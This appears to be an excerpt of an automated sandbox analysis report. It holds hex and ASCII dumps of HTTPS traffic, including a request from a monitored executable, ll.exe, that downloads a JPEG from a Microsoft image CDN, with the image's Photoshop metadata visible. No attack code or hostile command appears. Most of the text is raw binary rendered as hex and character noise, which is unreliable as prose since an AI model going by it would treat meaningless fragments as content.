0a 9e 5f 87 77 2d 15 ba b7 f1 21 06 e4 cb 1c c8 93 c2 ca 43 b3 29 36 b6 d6 5f f4 d5 78 0f 86 8f 2d a5 b9 fd d3
Data Ascii: G3^D$H{[|[o+kku)3]dI$"DFl}scuMBVIR41WgI`G+iWN[=/LK3cu!q}O?MIx2ww1[Y5cn#3($6pwmvQ_W=xr[x{n_w-!C)6_x-
2022-04-08 08:02:44 UTC7270INData Raw: 7c 35 12 28 c7 e8 b8 78 b8 a5 7a 9c ed e7 4b 73 12 be dd ab ee 1e 56 ee ff 00 c5 5d 4b 2e f9 da a3 6f 86 79 be 6d c3 82 d2 57 3e 44 38 f1 ac 4d 3c 62 26 20 14 5b 2f 37 e3 3d bd da e5 4d e3 4d 37 bb 6b dd e2 b0 ad 2c d1 e8 ed 6c 99 b0 e3 c4 3f 51 18 58 c9 57 04 6d b7 7d 7c c3 e2 ef 69 5b c7 07 e2 91 41 5f 51 c2 76 9f cb 12 98 dd 06 d7 0a 45 9f e1 df bb bf b7 bb cb 5c b4 c9 0b 86 ef 70 93 ec 2c c0 cb c9 c1 2d 83 8c 56 4c ee 5b 28 b1 65 b9 1f c3 51 c7 93 fc d5 a5 53 dd b9 27 5e e9 aa 5d 86 44 de ae cd f4 df 58 85 0b ee 33 bd a5 8c af 25 ef 68 f7 3e 8d 27 7b f3 36 d7 7f a7 c6 9a 77 5d 58 fd af ca 0d c1 d0 b7 5c ea 00 94 2c c0 a4 a4 b5 d8 ca 1a e0 b7 99 0c 7c e1 39 77 2a 57 03 ca ef c5 bb 56 dc db 7a 36 fc e4 4c 99 bd 53 d6 f1 cc 1f a5 f4 ec 70 13 20 b3 36 c9
Data Ascii: |5(xzKsV]K.oymW>D8M<b& [/7=MM7k,l?QXWm}|i[A_QvE\p,-VL[(eQS'^]DX3%h>'{6w]X\,|9w*WVz6LSp 6
2022-04-08 08:02:44 UTC7286INData Raw: e6 4d ad 23 74 fe 8b 83 93 2a 49 33 79 7e 52 08 d6 34 51 b7 e2 e7 24 6e 76 f8 5d bb d5 96 5c f6 55 85 af e6 23 49 3f ff d7 cd e9 b1 e2 f4 6c 89 a0 87 0d 0c c0 f3 b6 d2 c1 89 f8 07 dd ef 6d af 8b a6 65 7a a6 f9 b4 38 a4 0b a6 c2 f9 59 8f 8e c8 62 81 c3 2b 49 60 00 24 f0 56 3a 05 55 ae 7b 57 74 34 d6 e9 33 7a b1 fd 3c 25 20 e3 62 46 52 1c 69 48 95 ef 6b 81 dc d8 cd fb ff 00 15 65 ea b6 ad 6c e6 f7 5c a5 b7 a7 da 68 4d d1 5b a9 64 34 9b 6d 1a 30 bb 03 ca 79 75 2f f8 8d 67 82 62 17 bb ee 10 b5 d4 d5 ea 78 fd 33 1b 02 18 64 58 d6 4d cc 36 aa f3 58 71 95 91 7b db aa ec 95 aa af 47 37 e9 b1 73 06 1b c7 8c b8 f1 ae 3e d5 9e 42 c0 aa 83 b8 af 1f d9 16 e5 ac d2 b3 72 fa 49 69 b2 30 ba c9 9e 91 4c d2 42 e5 83 21 2b 6d 96 ef 58 0f f5 1b e2 ad b1 a7 5e 11 f1 1b 4e 90
Data Ascii: M#t*I3y~R4Q$nv]\U#I?lmez8Yb+I`$V:U{Wt43z<% bFRiHkel\hM[d4m0yu/gbx3dXM6Xq{G7s>BrIi0LB!+mX^N
2022-04-08 08:02:44 UTC7293INData Raw: 66 5c ac be ab 24 71 92 04 6a 0a 39 d0 0b eb b5 fe 24 f9 ab 4a aa d7 1a 9e f7 51 9a 96 c3 3a 66 16 34 6d 93 9f d6 a6 f2 a2 66 b1 8c b7 29 20 58 6d 1d e7 d3 b8 ab 58 e5 bd 9e da 62 5b ad e2 f6 e9 36 af da 03 97 14 72 ff 00 fa 37 99 f4 4c 11 cb 21 09 ce 4f e5 eb f2 a7 7d ab ae 8d d7 47 d7 e1 1b 90 7e 9d 16 43 6f 8b 26 65 3a 92 82 40 77 39 51 e1 ec 8d 7e f5 5d f6 ae 0b 6f f0 05 a0 4c 9d 37 1d 59 64 ca bc 8e a0 9d a0 1b 10 35 11 b9 26 fb a5 ee f2 54 d3 22 8d 34 1c 85 60 e0 c7 34 21 d1 44 06 68 ec f1 be a0 ee 04 05 67 ef 72 37 36 cf 86 b9 af 91 d5 f8 b5 ea af b7 78 73 08 a3 eb 61 c7 48 94 43 1b c2 ec 55 de 21 76 54 ee ad 9b b3 77 77 98 f8 aa b6 3b 37 ad b7 2e 9d fd 36 b8 27 ef 0a 22 58 f2 20 41 18 c7 8f 16 30 61 dd ac c6 3d 6e b6 b7 ef af de ad f2 59 5a a9 39
Data Ascii: f\$qj9$JQ:f4mf) XmXb[6r7L!O}G~Co&e:@w9Q~]oL7Yd5&T"4`4!Dhgr76xsaHCU!vTww;7.6'"X A0a=nYZ9
2022-04-08 08:02:44 UTC7301INData Raw: 3b 32 63 15 1b b9 7c cb 3d ae b2 3a ae df 30 ff 00 b6 da d9 3a 25 af 2b fe 3d d2 62 4c 6c e9 72 73 d5 ba 7a 29 77 45 0a 48 0c 86 6b 1e 49 19 0f 73 68 ef 1b 6e ad 26 b4 e6 e1 5f cb fb 88 bc b3 ab e9 be 99 9d 20 51 94 e0 e2 f9 61 d9 64 3a 0f fe 11 72 59 ff 00 15 79 f7 97 36 4b 6b f1 78 fe 32 a0 1f 11 e4 c6 2d 8b 12 3c 28 ee 59 1a 22 02 9b f8 81 e6 e7 ff 00 65 a8 97 68 69 ee 7e 1b 10 9f 61 08 73 9a 59 65 59 1a 56 11 90 84 3c 85 d4 5c 8f cc 95 75 5f d9 ee d5 5a ad c4 c7 37 d9 f8 6a 6a 8b f3 67 38 7d 4d 31 f2 76 a6 e4 67 6f 6e de 08 e8 ad c3 7e ee 4d b4 79 4d 55 ff 00 22 1b 01 e9 3d 33 19 13 21 b1 d8 a0 60 23 92 63 ab 9b f3 3a a2 9d 0c 8f b9 39 bf 62 ba 55 9d a3 7c 47 57 ca 64 91 25 e9 38 bd 3e 38 4a 44 66 11 3d ca 39 3a ee ef 7f 0b f8 ae 9d ee 6e 4a 8f 3d 5a
Data Ascii: ;2c|=:0:%+=bLlrsz)wEHkIshn&_ Qad:rYy6Kkx2-<(Y"ehi~asYeYV<\u_Z7jjg8}M1vgon~MyMU"=3!`#c:9bU|GWd%8>8JDf=9:nJ=Z
2022-04-08 08:02:44 UTC7317INData Raw: e5 ae 65 9b e8 9f 95 51 98 a8 00 6e b8 f2 f8 6f 93 e3 ff 00 b7 5e 75 b1 d5 57 6f fe e5 7d ba be 1f cc 68 b5 46 9f 4c f4 aa f5 78 27 97 3b 39 71 36 80 e1 36 96 ed e1 29 ff 00 0a 57 a1 e9 31 52 fa cf 48 eb 5d 35 33 fa cc fd 46 09 d9 71 c3 65 19 11 49 2f b9 2f 6f 1b b6 ed df 9b e1 e6 5a e6 d9 44 f9 fb af ef 7f 69 29 ea 1f 00 cd 30 49 89 04 89 24 e9 18 2e c5 89 44 53 df dd fd c4 ff 00 b9 58 e3 c5 b9 f9 89 6d a5 77 7c c3 99 32 fa e6 3f 55 c6 95 33 3a 50 46 8d 57 70 42 6c 1c f8 f7 20 ef 7c ab 4f 05 f1 db 4c 9c 67 ee 98 d9 99 9d 33 0d b2 a0 9f 23 a9 a4 91 99 24 2e 47 6a b7 b5 7c 4a ab f0 d7 46 6b ed b2 54 db ca bf 09 3d a0 d9 b9 59 5d 47 a4 98 b2 e4 69 42 c8 4c 71 de ec 7c 2a ac 57 bc ad c7 6f 2d 69 4a 57 1e 59 aa db cb cd 6e e9 4e c6 27 59 9a 44 c0 4e 9d 02 aa
Data Ascii: eQno^uWo}hFLx';9q66)W1RH]53FqeI//oZDi)0I$.DSXmw|2?U3:PFWpBl |OLg3#$.Gj|JFkT=Y]GiBLq|*Wo-iJWYnN'YDN
2022-04-08 08:02:44 UTC7333INData Raw: 54 9a 4d d3 fa 9e 36 2c f9 b9 3b 1e 3c dc 75 d5 0d c0 11 92 cd 6f 2b 70 54 dc cc 8b 5d 4f 16 d4 a3 a6 59 d9 06 77 a6 72 b1 32 9d 89 94 99 7c 6b 7b e9 dd d6 da 5f 68 fb b5 c7 ea 69 6a ae 1c bd d2 2c 5b 9f 9d 26 1e 33 c5 d2 d9 63 8c ca cb 2e 81 98 69 e6 6d f3 5b b7 e2 a8 c7 45 7b 4e 4e 67 b7 93 bb f0 f4 0a c8 e7 3a 77 4a 6f 54 23 e4 ca ea 91 e3 0d a6 dc 4b 12 59 4b 26 9b b9 2b d2 c9 93 fc 6d 12 9d e6 6a 91 c0 dc 98 ac 3d 25 14 37 d4 02 f6 47 75 da 76 6a 0d c7 ef 2e ee e7 2d 72 2d 72 be e9 33 a9 e7 7d 47 ab ae 3c e3 18 b9 48 c1 dd bc 2d db 70 1f 0d fe 2a f7 b1 e1 dc b7 47 d3 3d d2 9a 3a 2e 91 d4 71 27 e9 90 e5 bb 04 9f 1d 64 69 40 3b 77 0b ec f2 f6 f8 9a 6d c9 fb d5 e7 e5 c7 7a e4 75 5d 37 db b7 f7 7d 00 b4 3b 7e 92 8e e9 0b 4f 1a 4b 1b 21 91 54 39 da 1c 77
Data Ascii: TM6,;<uo+pT]OYwr2|k{_hij,[&3c.im[E{NNg:wJoT#KYK&+mj=%7Guvj.-r-r3}G<H-p*G=:.q'di@;wmzu]7};~OK!T9w
2022-04-08 08:02:44 UTC7341INData Raw: 7a 3f 13 a4 af d6 64 5d b2 05 da 49 5d 8d f5 d5 bd ca b5 e6 64 f5 96 cb ca ba 3b b4 26 cd c1 8c 7a d4 11 cb 17 5e cb 1b a3 8e 65 f2 d3 60 e6 00 f3 59 4f 29 8f 67 2f 37 8f 9a bd 1c 34 74 b6 c5 f3 5f db c4 5d 56 a7 51 d5 27 69 d8 e7 62 ec 18 aa 59 d7 50 c1 3c 57 60 fc 87 75 fc 35 cb 9a d5 b5 b4 ef 77 3b c5 59 43 02 e9 fd 5b 37 3e 52 3c d8 a2 81 48 6f 36 38 c2 ee b7 7b 6d f9 5b 69 a9 58 6b 46 9f 36 ef 8a dd 03 ae ac 59 5e 9a 83 33 2c 75 79 7c c0 77 a7 96 8a 00 5b 28 da a4 69 dd b7 ed 54 bf 58 d2 74 5b 7b 77 09 30 21 d0 e4 39 93 99 09 87 11 98 32 45 b8 16 37 e0 24 f8 77 1d b6 f9 6b 5b e7 ac 2d bd 5e 2f 0f cb e2 35 75 93 47 a5 85 00 8c c8 d2 e1 8b 3b 8f 68 16 58 d1 bf 76 b9 ed 12 a1 bd be 1f 84 cd 68 55 90 8b d5 11 3e a1 7c 88 a2 90 79 11 89 2e 2f 6d 1e 63 c3
Data Ascii: z?d]I]d;&z^e`YO)g/74t_]VQ'ibYP<W`u5w;YC[7>R<Ho68{m[iXkF6Y^3,uy|w[(iTXt[{w0!92E7$wk[-^/5uG;hXvhU>|y./mc
2022-04-08 08:02:44 UTC7357INData Raw: c9 99 db 43 3f 39 d7 a2 99 1d e3 12 79 df c3 51 c3 ee d6 d8 d7 9d 10 e3 6f 51 9d 6d 2e 4c 9e 9b 99 9c 8f e7 63 7e 5c b0 30 60 38 82 3f ed bf dd ae bc 94 a3 51 6e 6a df db 70 3c 9b 5f cc 74 9d 4d 46 79 59 f2 d9 f0 b0 ca ed 89 a1 1f ea 90 1d 94 ee e6 6f c3 5c d5 b3 4b 95 79 96 f8 bc 15 3b 15 93 39 1c 0e 93 17 4c 7f 3b 69 c8 cd 42 ac 46 eb 2d d8 f8 b6 ee dc 47 8b bb b6 bb af 95 e5 51 d1 8f 5f 9b 94 6e a2 cd c1 7c 1e ba 1a 37 49 cb 46 59 5a 35 e5 2c 79 76 22 fd fe 5a 75 b2 be 28 e9 e6 24 d9 f4 87 5d 9b c8 7e 98 ea 77 43 23 17 ba f7 10 82 8c ac fe 11 cc dd ce 76 ae 7f 53 85 27 bd 77 91 4b 40 de 8d 04 cd 3a 60 f4 d8 63 76 43 b7 6e c0 02 5b 9f cc 79 1f 76 e5 b7 3e b5 85 96 ed 6c df 37 db d5 f4 99 2b 36 c0 ba 8f 45 ce f5 07 fe 24 4f e6 b4 25 9d e5 1e c0 6e 6d f1
Data Ascii: C?9yQoQm.Lc~\0`8?Qnjp<_tMFyYo\Ky;9L;iBF-GQ_n|7IFYZ5,yv"Zu($]~wC#vS'wK@:`cvCn[yv>l7+6E$O%nm
2022-04-08 08:02:44 UTC7373INData Raw: 94 2c 52 65 44 bb 71 a1 65 01 99 86 a4 fc 0b df da bf 17 76 9a c3 66 a4 bd bd a6 57 5c 18 59 51 41 d4 32 95 12 5c 05 da 06 e0 18 ee 6d cb 20 4f 13 fc 6d f3 d7 a7 5c ce d4 58 eb fd c1 75 2b 40 0c 8c 3c de ac f1 64 cc fb 71 5d 4e d0 8e 09 17 1f 07 1e 6f 15 61 5b d3 12 75 5d 7f c3 f5 1c d0 e7 53 71 b0 d3 19 1a 1c 78 ca 41 60 be 74 b6 6e 23 99 97 b0 7d d5 db cd 59 dd ce a6 ea 2a 05 06 7a e1 60 c5 1b 46 8e ac e3 62 a2 05 db 1d f9 da 49 7b c7 7d 6b bd da d1 e1 ea dd d5 7b f8 45 be 4c ef 45 16 cc ca 96 48 81 5c 65 25 51 5f ba c0 9f ef 2d 6b ea da a2 8e f4 1a 55 1b 5e a7 10 62 60 19 67 26 19 a0 3b 63 8e 30 4f 39 21 f6 96 f9 bc 55 e7 fa 5b 5a f7 85 cd 5b 6b 6b 5b c3 e2 1c 41 b7 d2 f1 ba 6f a8 30 86 4b bf 3b c6 a1 c0 16 2c 46 a4 6e f6 fb eb b2 f9 9d 16 d8 e7 a9 70
Data Ascii: ,ReDqevfW\YQA2\m Om\Xu+@<dq]Noa[u]SqxA`tn#}Y*z`FbI{}k{ELEH\e%Q_-kU^b`g&;c0O9!U[Z[kk[Ao0K;,Fnp
2022-04-08 08:02:44 UTC7381INData Raw: c4 da fb 97 ee f8 be 5a db ce 8e 2b 62 f8 bb e6 d8 9a ab 3b 68 3a f6 3c 33 49 1f 51 44 c8 45 c7 0b 11 95 6f a2 9b 71 1f 17 c3 55 4c d1 ac 4f 65 4a 76 d4 e7 ff 00 ab fe a8 4e bb 86 62 c3 41 1a c0 ca b3 72 d8 28 db c8 91 fd ea eb c3 9b 7d d3 7e ee 43 3c b9 37 00 7f 4e 3d 3b d7 3a ca 45 91 81 0e d8 42 bc 23 21 db 6a 29 3a 33 27 fd de 53 e1 56 d9 5d b5 a3 dc c1 55 b2 df 56 ff 00 4b 32 3d 2c f1 f5 1c b7 53 8f 1a ed 93 68 62 a7 71 e5 44 df e2 ef 33 2a d1 9e 8d 56 11 9d ea d2 83 2f a7 f5 ec ac 68 1f 23 a7 ed 5e 9e 96 60 93 b8 2c 45 f9 b6 25 ee ab f0 d7 8d 93 d3 d6 ce 2f ff 00 95 f6 e3 5f 98 c9 1d 46 0f aa e5 e9 31 c9 d4 15 bc d8 27 62 f1 90 b7 06 fa 38 da de 14 ae 3a 62 7b d2 5c b9 31 f2 db 77 b7 78 e8 a3 83 53 a3 47 1e 6e 3f 99 03 46 b8 8e cd 29 3b 36 0b 9e 21
Data Ascii: Z+b;h:<3IQDEoqULOeJvNbAr(}~C<7N=;:EB#!j):3'SV]UVK2=,ShbqD3*V/h#^`,E%/_F1'b8:b{\1wxSGn?F);6!


Session IDSource IPSource PortDestination IPDestination PortProcess
16192.168.2.34999523.10.249.43443C:\Users\user\Desktop\ll.exe
TimestampkBytes transferredDirectionData
2022-04-08 08:02:42 UTC82OUTGET /cms/api/am/imageFileData/RWP8kk?ver=8c62 HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate, br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134
Host: img-prod-cms-rt-microsoft-com.akamaized.net
Connection: Keep-Alive
2022-04-08 08:02:42 UTC231INHTTP/1.1 200 OK
Content-Type: image/jpeg
Content-Location: https://image.prod.cms.rt.microsoft.com/cms/api/am/imageFileData/RWP8kk?ver=8c62
Last-Modified: Sun, 03 Apr 2022 23:44:39 GMT
Access-Control-Allow-Origin: *
X-Source-Length: 1829994
X-Datacenter: northeu
X-ActivityId: b692f3e9-5950-4927-a446-404fc0aad364
Timing-Allow-Origin: *
X-Frame-Options: deny
X-ResizerVersion: 1.0
Content-Length: 1829994
Cache-Control: public, max-age=56590
Expires: Fri, 08 Apr 2022 23:45:52 GMT
Date: Fri, 08 Apr 2022 08:02:42 GMT
Connection: close
2022-04-08 08:02:42 UTC232INData Raw: ff d8 ff e1 13 12 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 07 01 12 00 03 00 00 00 01 00 01 00 00 01 1a 00 05 00 00 00 01 00 00 00 62 01 1b 00 05 00 00 00 01 00 00 00 6a 01 28 00 03 00 00 00 01 00 02 00 00 01 31 00 02 00 00 00 1f 00 00 00 72 01 32 00 02 00 00 00 14 00 00 00 91 87 69 00 04 00 00 00 01 00 00 00 a8 00 00 00 d4 00 0e a6 00 00 00 27 10 00 0e a6 00 00 00 27 10 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 32 31 2e 31 20 28 57 69 6e 64 6f 77 73 29 00 32 30 32 31 3a 31 31 3a 31 31 20 30 36 3a 35 34 3a 33 34 00 00 00 00 00 03 a0 01 00 03 00 00 00 01 ff ff 00 00 a0 02 00 04 00 00 00 01 00 00 07 80 a0 03 00 04 00 00 00 01 00 00 04 38 00 00 00 00 00 00 00 06 01 03 00 03 00 00 00 01 00 06 00 00 01 1a 00 05 00 00 00 01 00 00 01 22 01 1b 00 05 00
Data Ascii: ExifMM*bj(1r2i''Adobe Photoshop 21.1 (Windows)2021:11:11 06:54:348"
2022-04-08 08:02:42 UTC263INData Raw: 61 35 39 62 32 66 34 38 2d 39 63 62 38 2d 66 31 34 66 2d 39 61 36 37 2d 66 37 36 31 32 64 31 61 64 61 62 32 22 20 73 74 45 76 74 3a 77 68 65 6e 3d 22 32 30 31 35 2d 30 34 2d 32 39 54 31 32 3a 31 38 3a 33 35 2d 30 37 3a 30 30 22 20 73 74 45 76 74 3a 73 6f 66 74 77 61 72 65 41 67 65 6e 74 3d 22 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 43 43 20 32 30 31 34 20 28 57 69 6e 64 6f 77 73 29 22 20 73 74 45 76 74 3a 63 68 61 6e 67 65 64 3d 22 2f 22 2f 3e 20 3c 72 64 66 3a 6c 69 20 73 74 45 76 74 3a 61 63 74 69 6f 6e 3d 22 73 61 76 65 64 22 20 73 74 45 76 74 3a 69 6e 73 74 61 6e 63 65 49 44 3d 22 78 6d 70 2e 69 69 64 3a 64 64 38 33 61 66 34 35 2d 39 66 63 39 2d 64 66 34 66 2d 39 64 64 65 2d 62 61 66 39 30 32 38 32 62 32 31 65 22 20 73 74 45 76 74 3a 77 68 65
Data Ascii: a59b2f48-9cb8-f14f-9a67-f7612d1adab2" stEvt:when="2015-04-29T12:18:35-07:00" stEvt:softwareAgent="Adobe Photoshop CC 2014 (Windows)" stEvt:changed="/"/> <rdf:li stEvt:action="saved" stEvt:instanceID="xmp.iid:dd83af45-9fc9-df4f-9dde-baf90282b21e" stEvt:whe
2022-04-08 08:02:42 UTC279INData Raw: 30 30 26 23 78 39 3b 46 69 6c 65 20 44 3a 5c 57 6f 72 6b 5c 57 69 6e 31 30 2d 4c 6f 63 6b 73 63 72 65 65 6e 73 5c 5f 4c 41 54 45 53 54 74 72 61 6e 73 66 65 72 2d 4e 65 77 43 6f 6d 70 75 74 65 72 5c 54 65 6d 70 6c 61 74 65 73 5c 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 39 32 30 78 31 30 38 30 5f 4c 61 6e 64 73 63 61 70 65 31 2e 70 73 64 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 36 2d 30 37 2d 32 36 54 31 38 3a 32 33 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 39 32 30 78 31 30 38 30 5f 4c 61 6e 64 73 63 61 70 65 2e 70 73 64 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 36 2d 30 37 2d 32 37 54 31 32 3a 30 32 3a 32 33 2d 30 37 3a 30 30
Data Ascii: 00&#x9;File D:\Work\Win10-Lockscreens\_LATESTtransfer-NewComputer\Templates\Lockscreen_1920x1080_Landscape1.psd saved&#xA;2016-07-26T18:23-07:00&#x9;File C:\Users\v-lizagh\MS\Windows10\Lockscreen_1920x1080_Landscape.psd saved&#xA;2016-07-27T12:02:23-07:00
2022-04-08 08:02:42 UTC281INData Raw: 6e 64 6f 77 73 50 72 6f 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 36 34 31 30 32 37 32 35 37 5f 31 39 32 30 78 31 30 38 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 36 2d 30 38 2d 30 34 54 31 37 3a 32 35 3a 32 38 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 41 70 70 44 61 74 61 5c 52 6f 61 6d 69 6e 67 5c 41 64 6f 62 65 5c 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 43 43 20 32 30 31 35 2e 35 5c 41 75 74 6f 52 65 63 6f 76 65 72 5c 5f 57 69 6e 64 6f 77 73 50 72 6f 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 36 34 31 30 32 37 32 35 37 5f 31 39 32 30 78 31 30 38 30 46 39 31 42 31 36 31 39 42 41 33 46 39 44 43 37 45 32 32 46 45 38 37 35 31 32 32 39 36 34 36 30 2e 70 73 62 20 73 61 76 65 64 26 23
Data Ascii: ndowsPro_GettyImages-641027257_1920x1080.jpg saved&#xA;2016-08-04T17:25:28-07:00&#x9;File C:\Users\v-lizagh\AppData\Roaming\Adobe\Adobe Photoshop CC 2015.5\AutoRecover\_WindowsPro_GettyImages-641027257_1920x1080F91B1619BA3F9DC7E22FE87512296460.psb saved&#
2022-04-08 08:02:42 UTC452INData Raw: 65 20 50 68 6f 74 6f 73 68 6f 70 20 43 43 20 32 30 31 35 2e 35 5c 41 75 74 6f 52 65 63 6f 76 65 72 5c 5f 46 61 6c 6c 45 6e 74 65 72 74 61 69 6e 6d 65 6e 74 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 34 37 38 38 36 33 30 32 31 5f 31 39 32 30 78 31 30 38 30 31 39 38 36 36 37 31 38 41 31 33 33 41 37 43 36 32 33 37 33 39 35 38 31 45 42 31 33 39 30 42 39 2e 70 73 62 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 36 2d 30 39 2d 32 36 54 31 30 3a 31 33 3a 35 39 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 46 61 6c 6c 45 6e 74 65 72 74 61 69 6e 6d 65 6e 74 5c 46 61 6c 6c 45 6e 74 65 72 74 61 69 6e 6d 65 6e 74 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 35 34 30 37 31 37 36 31 30 5f
Data Ascii: e Photoshop CC 2015.5\AutoRecover\_FallEntertainment_GettyImages-478863021_1920x108019866718A133A7C623739581EB1390B9.psb saved&#xA;2016-09-26T10:13:59-07:00&#x9;File C:\Users\v-lizagh\MS\Windows10\FallEntertainment\FallEntertainment_GettyImages-540717610_
2022-04-08 08:02:42 UTC468INData Raw: 34 37 39 32 30 44 35 46 34 31 44 38 35 43 33 30 44 45 36 34 33 44 46 35 42 35 37 39 2e 70 73 62 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 36 2d 31 31 2d 31 36 54 31 33 3a 35 32 3a 31 31 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 41 70 70 44 61 74 61 5c 52 6f 61 6d 69 6e 67 5c 41 64 6f 62 65 5c 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 43 43 20 32 30 31 35 2e 35 5c 41 75 74 6f 52 65 63 6f 76 65 72 5c 5f 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 39 32 30 78 31 30 38 30 5f 4c 61 6e 64 73 63 61 70 65 30 30 31 46 34 37 39 32 30 44 35 46 34 31 44 38 35 43 33 30 44 45 36 34 33 44 46 35 42 35 37 39 2e 70 73 62 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 36 2d 31 31 2d 31 36 54 31 33 3a 35 34 2d 30 38 3a 30
Data Ascii: 47920D5F41D85C30DE643DF5B579.psb saved&#xA;2016-11-16T13:52:11-08:00&#x9;File C:\Users\v-lizagh\AppData\Roaming\Adobe\Adobe Photoshop CC 2015.5\AutoRecover\_Lockscreen_1920x1080_Landscape001F47920D5F41D85C30DE643DF5B579.psb saved&#xA;2016-11-16T13:54-08:0
2022-04-08 08:02:42 UTC508INData Raw: 32 38 30 36 44 2e 70 73 62 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 36 2d 31 31 2d 32 33 54 31 35 3a 35 34 3a 31 35 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4f 66 66 69 63 65 5c 4f 66 66 69 63 65 2d 42 61 74 63 68 32 5c 5f 43 48 4f 53 45 4e 2d 53 77 61 79 5c 43 72 6f 70 73 5c 4f 66 66 69 63 65 5f 53 77 61 79 2d 55 73 65 72 73 5f 70 31 30 32 33 6d 38 33 37 31 34 39 66 5f 31 39 32 30 78 31 30 38 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 36 2d 31 31 2d 32 33 54 31 35 3a 35 36 3a 30 38 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4f 66 66 69 63 65 5c
Data Ascii: 2806D.psb saved&#xA;2016-11-23T15:54:15-08:00&#x9;File C:\Users\v-lizagh\MS\Windows10\Office\Office-Batch2\_CHOSEN-Sway\Crops\Office_Sway-Users_p1023m837149f_1920x1080.jpg saved&#xA;2016-11-23T15:56:08-08:00&#x9;File C:\Users\v-lizagh\MS\Windows10\Office\
2022-04-08 08:02:42 UTC524INData Raw: 35 2e 35 5c 41 75 74 6f 52 65 63 6f 76 65 72 5c 5f 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 39 32 30 78 31 30 38 30 5f 4c 61 6e 64 73 63 61 70 65 30 30 31 46 34 37 39 32 30 44 35 46 34 31 44 38 35 43 33 30 44 45 36 34 33 44 46 35 42 35 37 39 2e 70 73 62 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 31 2d 33 31 54 30 39 3a 34 36 3a 31 30 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4d 38 33 5c 43 48 4f 53 45 4e 5c 4d 38 33 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 35 31 36 31 31 34 36 37 35 5f 31 39 32 30 78 31 30 38 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 31 2d 33 31 54 30 39 3a 34 37 3a 30 38 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65
Data Ascii: 5.5\AutoRecover\_Lockscreen_1920x1080_Landscape001F47920D5F41D85C30DE643DF5B579.psb saved&#xA;2017-01-31T09:46:10-08:00&#x9;File C:\Users\v-lizagh\MS\Windows10\M83\CHOSEN\M83_GettyImages-516114675_1920x1080.jpg saved&#xA;2017-01-31T09:47:08-08:00&#x9;File
2022-04-08 08:02:42 UTC540INData Raw: 30 37 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 43 6f 72 74 61 6e 61 5c 53 70 6f 74 6c 69 67 68 74 5c 43 48 4f 53 45 4e 5c 43 6f 72 74 61 6e 61 2d 53 70 6f 74 6c 69 67 68 74 5f 73 68 75 74 74 65 72 73 74 6f 63 6b 5f 39 31 39 31 31 39 38 30 5f 31 39 32 30 78 31 30 38 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 33 2d 30 36 54 31 33 3a 33 39 3a 35 37 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 39 32 30 78 31 30 38 30 5f 4c 61 6e 64 73 63 61 70 65 2e 70 73 64 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30
